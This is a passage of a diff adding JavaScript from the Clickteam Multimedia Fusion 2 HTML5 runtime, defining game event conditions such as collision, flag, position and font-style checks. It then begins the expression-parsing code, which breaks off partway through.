+ CND_EXTCMPVARCONST.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ if (pHo == null) return false;
+
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ var num = this.evtParams[0].value;
+ var p = this.evtParams[1];
+ var value1;
+ var value2 = p.tokens[0].value;
+ do {
+
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num < pHo.rov.rvValues.length)
+ value1 = pHo.rov.getValue(num);
+ else
+ value1 = 0;
+
+ if (CRun.compareTo(value1, value2, p.comparaison) == false) {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ else {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ return (cpt != 0);
+ }
+ }
+ // CUT
+
+ function CND_EXTCMPVARFIXED()
+ {
+ }
+ CND_EXTCMPVARFIXED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ var fixed = (hoPtr.hoCreationId << 16) | ( (hoPtr.hoNumber) & 0xFFFF );
+ return CRun.compareTer(fixed, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPVARSTRING()
+ {
+ }
+ CND_EXTCMPVARSTRING.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ if (pHo == null) return false;
+
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ var value1;
+ var value2;
+ do
+ {
+ var num;
+ if (this.evtParams[0].code == 62)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ if (num >= 0 && num < CRVal.STRINGS_NUMBEROF_ALTERABLE && pHo.rov != null)
+ {
+ value1 = pHo.rov.getString(num);
+ value2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+
+ if (CRun.compareTo(value1, value2, this.evtParams[1].comparaison) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ else
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ return (cpt != 0);
+ }
+ }
+ // CUT
+
+ function CND_EXTCMPX()
+ {
+ }
+ CND_EXTCMPX.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ return CRun.compareTer(hoPtr.hoX, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPY()
+ {
+ }
+ CND_EXTCMPY.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ return CRun.compareTer(hoPtr.hoY, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCOLBACK()
+ {
+ }
+ CND_EXTCOLBACK.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ if (this.compute_NoRepeat(hoPtr))
+ {
+ rhPtr.rhEvtProg.evt_AddCurrentObject(hoPtr);
+ return true;
+ }
+
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_STOPINGROUP) == 0)
+ return false;
+ rhPtr.rhEvtProg.rh3DoStop = true;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return CCnd.negate(this, this.evaObject(rhPtr, this));
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return hoPtr.hoAdRunHeader.colMask_TestObject_IXY(hoPtr, hoPtr.roc.rcImage, hoPtr.roc.rcAngle, hoPtr.roc.rcScaleX, hoPtr.roc.rcScaleY, hoPtr.hoX, hoPtr.hoY, 0, CColMask.CM_TEST_PLATFORM);
+ }
+ });
+ // CUT
+
+ function CND_EXTCOLLISION()
+ {
+ }
+ CND_EXTCOLLISION.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, pHo)
+ {
+ var pHo1 = rhPtr.rhObjectList[rhPtr.rhEvtProg.rh1stObjectNumber];
+ if (pHo1 == null)
+ {
+ var toto = 2;
+ }
+ var oiEvent = this.evtOi;
+ var p = this.evtParams[0];
+ var oiParam = p.oi;
+
+ while (true)
+ {
+ if (oiEvent == pHo.hoOi)
+ {
+ if (oiParam == pHo1.hoOi)
+ break;
+ if (oiParam >= 0)
+ return false;
+ if (this.colGetList(rhPtr, p.oiList, pHo1.hoOi))
+ break;
+ return false;
+ }
+ if (oiParam == pHo.hoOi)
+ {
+ if (oiEvent == pHo1.hoOi)
+ break;
+ if (oiEvent >= 0)
+ return false;
+ if (this.colGetList(rhPtr, this.evtOiList, pHo1.hoOi))
+ break;
+ return false;
+ }
+ if (oiEvent < 0)
+ {
+ if (oiParam < 0)
+ {
+ if (this.colGetList(rhPtr, this.evtOiList, pHo.hoOi))
+ {
+ if (this.colGetList(rhPtr, p.oiList, pHo1.hoOi))
+ break;
+ if (this.colGetList(rhPtr, p.oiList, pHo.hoOi) == false)
+ return false;
+ if (this.colGetList(rhPtr, this.evtOiList, pHo1.hoOi))
+ break;
+ return false;
+ }
+ else
+ {
+ if (this.colGetList(rhPtr, this.evtOiList, pHo1.hoOi))
+ break;
+ return false;
+ }
+ }
+ else
+ {
+ if (oiParam == pHo1.hoOi)
+ break;
+ return false;
+ }
+ }
+ if (oiParam >= 0)
+ return false;
+ if (oiEvent != pHo1.hoOi)
+ return false;
+ break;
+ }
+
+ var id = ( (pHo1.hoCreationId) << 16) | ((this.evtIdentifier) & 0x0000FFFF);
+ if (CCnd.compute_NoRepeatCol(id, pHo) == false)
+ {
+ if ((rhPtr.rhEvtProg.rhEventGroup.evgFlags & CEventGroup.EVGFLAGS_STOPINGROUP) == 0)
+ return false;
+ rhPtr.rhEvtProg.rh3DoStop = true;
+ }
+ id = ( (pHo.hoCreationId) << 16) | ((this.evtIdentifier) & 0x0000FFFF);
+ if (CCnd.compute_NoRepeatCol(id, pHo1) == false)
+ {
+ if ((rhPtr.rhEvtProg.rhEventGroup.evgFlags & CEventGroup.EVGFLAGS_STOPINGROUP) == 0)
+ return false;
+ rhPtr.rhEvtProg.rh3DoStop = true;
+ }
+
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo);
+ rhPtr.rhEvtProg.evt_AddCurrentObject(pHo1);
+
+ if (pHo1.rom.rmMovement.rmCollisionCount == rhPtr.rh3CollisionCount)
+ pHo.rom.rmMovement.rmCollisionCount = rhPtr.rh3CollisionCount;
+ else if (pHo.rom.rmMovement.rmCollisionCount == rhPtr.rh3CollisionCount)
+ pHo1.rom.rmMovement.rmCollisionCount = rhPtr.rh3CollisionCount;
+
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return this.isColliding(rhPtr);
+ },
+ colGetList: function (rhPtr, oiList, lookFor)
+ {
+ if (oiList == -1)
+ return false;
+ var qoil = rhPtr.rhEvtProg.qualToOiList[oiList & 0x7FFF];
+ var index;
+ for (index = 0; index < qoil.qoiList.length; index += 2)
+ {
+ if (qoil.qoiList[index] == lookFor)
+ return true;
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTENDPATH()
+ {
+ }
+ CND_EXTENDPATH.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ if (hoPtr.roc.rcMovementType != CMoveDef.MVTYPE_TAPED)
+ return false;
+ return CCnd.checkMark(hoPtr.hoAdRunHeader, hoPtr.hoMark2);
+ }
+ });
+ // CUT
+
+ function CND_EXTFACING()
+ {
+ }
+ CND_EXTFACING.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (this.evtParams[0].code == 29)
+ return this.evaObject(rhPtr, this);
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var mask = this.evtParams[0].value;
+ var dir;
+ for (dir = 0; dir < 32; dir++)
+ {
+ if (((1 << dir) & mask) != 0)
+ {
+ if (hoPtr.hoAdRunHeader.getDir(hoPtr) == dir)
+ {
+ return CCnd.negaTRUE(this);
+ }
+ }
+ }
+ return CCnd.negaFALSE(this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ value &= 31;
+ return CCnd.negate(this, hoPtr.roc.rcDir == value);
+ }
+ });
+ // CUT
+
+ function CND_EXTFLAGRESET()
+ {
+ }
+ CND_EXTFLAGRESET.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ value &= 31;
+ if (hoPtr.rov != null)
+ {
+ if ((hoPtr.rov.rvValueFlags & (1 << value)) != 0) return false;
+ }
+ return true;
+ }
+ });
+ // CUT
+
+ function CND_EXTFLAGSET()
+ {
+ }
+ CND_EXTFLAGSET.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ value &= 31;
+ if (hoPtr.rov != null)
+ {
+ if ((hoPtr.rov.rvValueFlags & (1 << value)) != 0)
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTINPLAYFIELD()
+ {
+ }
+ CND_EXTINPLAYFIELD.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var evpPtr = this.evtParams[0];
+ if ((evpPtr.value & (rhPtr.rhEvtProg.rhCurParam0)) == 0)
+ return false;
+
+ if (this.compute_NoRepeat(hoPtr))
+ {
+ rhPtr.rhEvtProg.evt_AddCurrentObject(hoPtr);
+ return true;
+ }
+
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_STOPINGROUP) == 0)
+ return false;
+ rhPtr.rhEvtProg.rh3DoStop = true;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, (hoPtr.rom.rmEventFlags & CRMvt.EF_GOESOUTPLAYFIELD) != 0);
+ }
+ });
+ // CUT
+
+ function CND_EXTISBOLD()
+ {
+ }
+ CND_EXTISBOLD.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var info = CRun.getObjectFont(hoPtr);
+ if (info.lfWeight >= 400)
+ return true;
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTISCOLBACK()
+ {
+ }
+ CND_EXTISCOLBACK.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ if (hoPtr.hoAdRunHeader.colMask_TestObject_IXY(hoPtr, hoPtr.roc.rcImage, hoPtr.roc.rcAngle, hoPtr.roc.rcScaleX, hoPtr.roc.rcScaleY, hoPtr.hoX, hoPtr.hoY, 0, CColMask.CM_TEST_OBSTACLE))
+ return CCnd.negaTRUE(this);
+ if (hoPtr.hoAdRunHeader.colMask_TestObject_IXY(hoPtr, hoPtr.roc.rcImage, hoPtr.roc.rcAngle, hoPtr.roc.rcScaleX, hoPtr.roc.rcScaleY, hoPtr.hoX, hoPtr.hoY, 0, CColMask.CM_TEST_PLATFORM))
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ });
+ // CUT
+
+ function CND_EXTISCOLLIDING()
+ {
+ }
+ CND_EXTISCOLLIDING.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.isColliding(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.isColliding(rhPtr);
+ }
+ });
+ // CUT
+
+ function CND_EXTISIN()
+ {
+ }
+ CND_EXTISIN.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (pHo)
+ {
+ var x1 = pHo.hoX - pHo.hoImgXSpot;
+ var x2 = x1 + pHo.hoImgWidth;
+ var y1 = pHo.hoY - pHo.hoImgYSpot;
+ var y2 = y1 + pHo.hoImgHeight;
+ if (pHo.hoAdRunHeader.quadran_In(x1, y1, x2, y2) != 0)
+ return CCnd.negaFALSE(this);
+ return CCnd.negaTRUE(this);
+ }
+ });
+ // CUT
+
+ function CND_EXTISITALIC()
+ {
+ }
+ CND_EXTISITALIC.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var info = CRun.getObjectFont(hoPtr);
+ if (info.lfItalic != 0)
+ return true;
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTISOUT()
+ {
+ }
+ CND_EXTISOUT.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (pHo)
+ {
+ var x1 = pHo.hoX - pHo.hoImgXSpot;
+ var x2 = x1 + pHo.hoImgWidth;
+ var y1 = pHo.hoY - pHo.hoImgYSpot;
+ var y2 = y1 + pHo.hoImgHeight;
+ if (pHo.hoAdRunHeader.quadran_In(x1, y1, x2, y2) != 0)
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ });
+ // CUT
+
+ function CND_EXTISSTRIKEOUT()
+ {
+ }
+ CND_EXTISSTRIKEOUT.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var info = CRun.getObjectFont(hoPtr);
+ if (info.lfStrikeOut != 0)
+ return true;
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTISUNDERLINE()
+ {
+ }
+ CND_EXTISUNDERLINE.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var info = CRun.getObjectFont(hoPtr);
+ if (info.lfUnderline != 0)
+ return true;
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTNEARBORDERS()
+ {
+ }
+ CND_EXTNEARBORDERS.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, bord, comp)
+ {
+ var xw = hoPtr.hoAdRunHeader.rhWindowX + bord;
+ var x = hoPtr.hoX - hoPtr.hoImgXSpot;
+ if (x <= xw) return CCnd.negaTRUE(this);
+
+ xw = hoPtr.hoAdRunHeader.rhWindowX + hoPtr.hoAdRunHeader.rh3WindowSx - bord;
+ x += hoPtr.hoImgWidth;
+ if (x >= xw) return CCnd.negaTRUE(this);
+
+ var yw = hoPtr.hoAdRunHeader.rhWindowY + bord;
+ var y = hoPtr.hoY - hoPtr.hoImgYSpot;
+ if (y <= yw) return CCnd.negaTRUE(this);
+
+ yw = hoPtr.hoAdRunHeader.rhWindowY + hoPtr.hoAdRunHeader.rh3WindowSy - bord;
+ y += hoPtr.hoImgHeight;
+ if (y >= yw) return CCnd.negaTRUE(this);
+
+ return CCnd.negaFALSE(this);
+ }
+ });
+ // CUT
+
+ function CND_EXTNOMOREOBJECT()
+ {
+ }
+ CND_EXTNOMOREOBJECT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ if (hoPtr == null)
+ return this.eva2(rhPtr);
+ if (this.evtOi >= 0)
+ {
+ if (hoPtr.hoOi != this.evtOi)
+ return false;
+ return true;
+ }
+ return this.evaNoMoreObject(rhPtr, 1);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaNoMoreObject(rhPtr, 0);
+ },
+ evaNoMoreObject: function (rhPtr, sub)
+ {
+ var oil = this.evtOiList;
+
+ var poil;
+ if ((oil & 0x8000) == 0)
+ {
+ poil = rhPtr.rhOiList[oil];
+ if (poil.oilNObjects == 0)
+ return true;
+ return false;
+ }
+
+ if ((oil & 0x7FFF) == 0x7FFF)
+ return false;
+ var pqoi = rhPtr.rhEvtProg.qualToOiList[oil & 0x7FFF];
+ var count = 0;
+ var qoi;
+ for (qoi = 0; qoi < pqoi.qoiList.length; qoi += 2)
+ {
+ poil = rhPtr.rhOiList[pqoi.qoiList[qoi + 1]];
+ count += poil.oilNObjects;
+ }
+ count -= sub;
+ if (count == 0)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_EXTNOMOREZONE()
+ {
+ }
+ CND_EXTNOMOREZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var count = rhPtr.rhEvtProg.count_ZoneOneObject(this.evtOiList, this.evtParams[0]);
+ return count == 0;
+ }
+ }
+ // CUT
+
+ function CND_EXTNUMBERZONE()
+ {
+ }
+ CND_EXTNUMBERZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var count = rhPtr.rhEvtProg.count_ZoneOneObject(this.evtOiList, this.evtParams[0]);
+ var number = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ return CRun.compareTer(count, number, this.evtParams[1].comparaison);
+ }
+ }
+ // CUT
+
+ function CND_EXTNUMOFOBJECT()
+ {
+ }
+ CND_EXTNUMOFOBJECT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var count = 0;
+ var poil;
+ var oil = this.evtOiList;
+ if ((oil & 0x8000) == 0)
+ {
+ poil = rhPtr.rhOiList[oil];
+ count = poil.oilNObjects;
+ }
+ else
+ {
+ if ((oil & 0x7FFF) != 0x7FFF)
+ {
+ var pqoi = rhPtr.rhEvtProg.qualToOiList[oil & 0x7FFF];
+ var qoi;
+ for (qoi = 0; qoi < pqoi.qoiList.length; qoi += 2)
+ {
+ poil = rhPtr.rhOiList[pqoi.qoiList[qoi + 1]];
+ count += poil.oilNObjects;
+ }
+ }
+ }
+ var value = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ return CRun.compareTer(count, value, this.evtParams[0].comparaison);
+ }
+ }
+ // CUT
+
+ function CND_EXTOUTPLAYFIELD()
+ {
+ }
+ CND_EXTOUTPLAYFIELD.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var evpPtr = this.evtParams[0];
+ if ((evpPtr.value & (rhPtr.rhEvtProg.rhCurParam0)) == 0)
+ return false;
+ // if (rhPtr.rhEvtProg.curParam1 == 0x12345678)
+ // return true;
+
+ if (this.compute_NoRepeat(hoPtr))
+ {
+ rhPtr.rhEvtProg.evt_AddCurrentObject(hoPtr);
+ return true;
+ }
+
+ var pEvg = rhPtr.rhEvtProg.rhEventGroup;
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_STOPINGROUP) == 0)
+ return false;
+ rhPtr.rhEvtProg.rh3DoStop = true;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, (hoPtr.rom.rmEventFlags & CRMvt.EF_GOESOUTPLAYFIELD) != 0);
+ }
+ });
+ // CUT
+
+ function CND_EXTPATHNODE()
+ {
+ }
+ CND_EXTPATHNODE.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ if (hoPtr.roc.rcMovementType != CMoveDef.MVTYPE_TAPED)
+ return false;
+ return CCnd.checkMark(hoPtr.hoAdRunHeader, hoPtr.hoMark1);
+ }
+ });
+ // CUT
+
+ function CND_EXTPATHNODENAME()
+ {
+ }
+ CND_EXTPATHNODENAME.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ if (hoPtr.hoMT_NodeName != null)
+ {
+ if (hoPtr.hoMT_NodeName == pName)
+ {
+ return true;
+ }
+ }
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ if (hoPtr.roc.rcMovementType != CMoveDef.MVTYPE_TAPED)
+ return false;
+ if (CCnd.checkMark(hoPtr.hoAdRunHeader, hoPtr.hoMark1))
+ {
+ var pName = hoPtr.hoAdRunHeader.get_EventExpressionString(this.evtParams[0]);
+ if (hoPtr.hoMT_NodeName != null)
+ {
+ if (hoPtr.hoMT_NodeName == pName)
+ {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTREVERSED()
+ {
+ }
+ CND_EXTREVERSED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.rom.rmReverse == 0);
+ }
+ });
+ // CUT
+
+ function CND_EXTSHOWN()
+ {
+ }
+ CND_EXTSHOWN.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, (hoPtr.ros.rsFlags & CRSpr.RSFLAG_HIDDEN) == 0);
+ }
+ });
+ // CUT
+
+ function CND_EXTSTOPPED()
+ {
+ }
+ CND_EXTSTOPPED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.roc.rcSpeed == 0);
+ }
+ });
+ // CUT
+
+ function CND_RUNNINGAS() {
+ }
+ CND_RUNNINGAS.prototype =
+ {
+ eva1: function (rhPtr, hoPtr) {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr) {
+ var number;
+ if (this.evtParams[0].code == 67) // PARAM_RUNTIME
+ number = this.evtParams[0].value;
+ else
+ number = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (number == 5) // RUNTIME_HTML5
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ // CExp object
+ // -------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CExp.EXP_EXTGETFRICTION = (35 << 8);
+ CExp.EXP_EXTGETRESTITUTION = (36 << 8);
+ CExp.EXP_EXTGETDENSITY = (37 << 8);
+ CExp.EXP_EXTGETVELOCITY = (38 << 8);
+ CExp.EXP_EXTGETANGLE = (39 << 8);
+ CExp.EXP_EXTGETMASS = (42 << 8);
+ CExp.EXP_EXTGETANGULARVELOCITY = (43 << 8);
+ CExp.EXP_STRING = ((3 << 16) | 0xFFFF);
+ CExp.EXP_LONG = ((0 << 16) | 0xFFFF);
+ CExp.EXP_DOUBLE = ((23 << 16) | 0xFFFF);
+
+ CExp.create = function (file)
+ {
+ var debut = file.getFilePointer();
+ var exp = null;
+ var c = file.readAInt();
+ switch (c)
+ {
+ case 0x00000000:
+ exp = new EXP_ZERO();
+ break;
+ case 0x00020000:
+ exp = new EXP_PLUS();
+ break;
+ case 0x00040000:
+ exp = new EXP_MINUS();
+ break;
+ case 0x00060000:
+ exp = new EXP_MULT();
+ break;
+ case 0x00080000:
+ exp = new EXP_DIV();
+ break;
+ case 0x000A0000:
+ exp = new EXP_MOD();
+ break;
+ case 0x000C0000:
+ exp = new EXP_POW();
+ break;
+ case 0x000E0000:
+ exp = new EXP_AND();
+ break;
+ case 0x00100000:
+ exp = new EXP_OR();
+ break;
+ case 0x00120000:
+ exp = new EXP_XOR();
+ break;
+ case ((0 << 16) | 0xFFFF):
+ exp = new EXP_LONG();
+ break;
+ case ((1 << 16) | 0xFFFF):
+ exp = new EXP_RANDOM();
+ break;
+ case ((2 << 16) | 0xFFFF):
+ exp = new EXP_VARGLO();
+ break;
+ case ((3 << 16) | 0xFFFF):
+ exp = new EXP_STRING();
+ break;
+ case ((4 << 16) | 0xFFFF):
+ exp = new EXP_STR();
+ break;
+ case ((5 << 16) | 0xFFFF):
+ exp = new EXP_VAL();
+ break;
+ case ((6 << 16) | 0xFFFF):
+ case ((7 << 16) | 0xFFFF):
+ case ((8 << 16) | 0xFFFF):
+ case ((9 << 16) | 0xFFFF):
+ exp = new EXP_EMPTY();
+ break;
+ case ((10 << 16) | 0xFFFF):
+ exp = new EXP_SIN();
+ break;
+ case ((11 << 16) | 0xFFFF):
+ exp = new EXP_COS();
+ break;
+ case ((12 << 16) | 0xFFFF):
+ exp = new EXP_TAN();
+ break;
+ case ((13 << 16) | 0xFFFF):
+ exp = new EXP_SQR();
+ break;
+ case ((14 << 16) | 0xFFFF):
+ exp = new EXP_LOG();
+ break;
+ case ((15 << 16) | 0xFFFF):
+ exp = new EXP_LN();
+ break;
+ case ((16 << 16) | 0xFFFF):
+ exp = new EXP_HEX();
+ break;
+ case ((17 << 16) | 0xFFFF):
+ exp = new EXP_BIN();
+ break;
+ case ((18 << 16) | 0xFFFF):
+ exp = new EXP_EXP();
+ break;
+ case ((19 << 16) | 0xFFFF):
+ exp = new EXP_LEFT();
+ break;
+ case ((20 << 16) | 0xFFFF):
+ exp = new EXP_RIGHT();
+ break;
+ case ((21 << 16) | 0xFFFF):
+ exp = new EXP_MID();
+ break;
+ case ((22 << 16) | 0xFFFF):
+ exp = new EXP_LEN();
+ break;
+ case ((23 << 16) | 0xFFFF):
